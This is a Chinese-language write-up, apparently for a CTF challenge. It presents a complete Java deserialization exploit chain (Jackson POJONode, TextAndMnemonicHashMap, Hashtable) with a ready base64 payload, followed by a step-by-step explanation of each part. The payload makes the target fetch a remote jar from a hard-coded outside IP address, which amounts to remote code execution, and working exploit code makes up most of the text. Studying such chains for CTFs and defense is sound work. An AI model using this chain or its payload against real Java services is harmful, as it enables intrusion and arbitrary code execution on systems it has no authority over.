先给出链子
import com.example.ycbjava.bean.User;
import com.example.ycbjava.utils.MyObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception {
User user = new User("jar:http://124.221.19.214:3232/exp.jar!/","test");
POJONode pojoNode = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"yy");
map2.put(pojoNode,"zZ");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, "bbbb");
hashtable.put(map2, "bbbb");
setHashMapValueToNull(map1, pojoNode);
setHashMapValueToNull(map2, pojoNode);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
// String res = "rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAJzcgAtamF2YXguc3dpbmcuVUlEZWZhdWx0cyRUZXh0QW5kTW5lbW9uaWNIYXNoTWFwvfHtUq37yhQCAAB4cgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD+AAAAAAAAMdwgAAAAQAAAAAXNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAdY29tLmV4YW1wbGUueWNiamF2YS5iZWFuLlVzZXLPzrPwcraHigIAA0wABGdpZnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgALTAAIdXNlcm5hbWVxAH4AC3hwcHQABHRlc3R0AChqYXI6aHR0cDovLzEyNC4yMjEuMTkuMjE0OjMyMzIvZXhwLmphciEvcHh0AARiYmJic3EAfgACP4AAAAAAAAx3CAAAABAAAAABcQB+AAlweHEAfgAPeA==";
byte[] decode = Base64.getDecoder().decode(res);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void setHashMapValueToNull(Map map, Object key) throws Exception {
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);
for (Object node : table) {
if (node == null) continue;
Class<?> nodeClass = node.getClass();
Field keyField = nodeClass.getDeclaredField("key");
keyField.setAccessible(true);
Object k = keyField.get(node);
if (k != null && k.equals(key)) {
Field valueField = nodeClass.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(node, null);
break;
}
}
}
}
第一部分
User user = new User("jar:http://124.221.19.214:3232/exp.jar!/","test");
POJONode pojoNode = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(pojoNode,"yy");
map2.put(pojoNode,"zZ");
根据TextAndMnemonicHashMap的源码,如果map里的value为null,我们调用map.get(pojoNode)就会触发pojoNode#toString,但是我们现在先不让value为null,具体后面讲
第二部分
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
HashMap在调用readObject的时候要求loadFactor>0,不然会报错
第三部分
Hashtable hashtable = new Hashtable();
hashtable.put(map1, "bbbb");
hashtable.put(map2, "bbbb");
我们是想通过Hashtable#reconstitutionPut来触发e.key.equals,但java是惰性表达式,必须要前面的e.hash==hash为true才会进行后面的判断,所以map1和map2的hash要一样,参考这篇文章的解释,map1.put(pojoNode,"yy");map2.put(pojoNode,"zZ");刚好可以让两个map的hash一样,那么为什么不直接两个都用yy,
因为hashTable在put我们的两个map的时候会进行判断,如果完全一样就直接算一个了,毕竟key是不能重复的。
第四部分
setHashMapValueToNull(map1, pojoNode);
setHashMapValueToNull(map2, pojoNode);
get的时候必须value为null才会触发toString,所以map1和map2的value必须为空
因为put和readObject的时候都会调用equals,所以我们在put之后再改为null,这样序列化的时候不会触发,反序列的时候才会触发。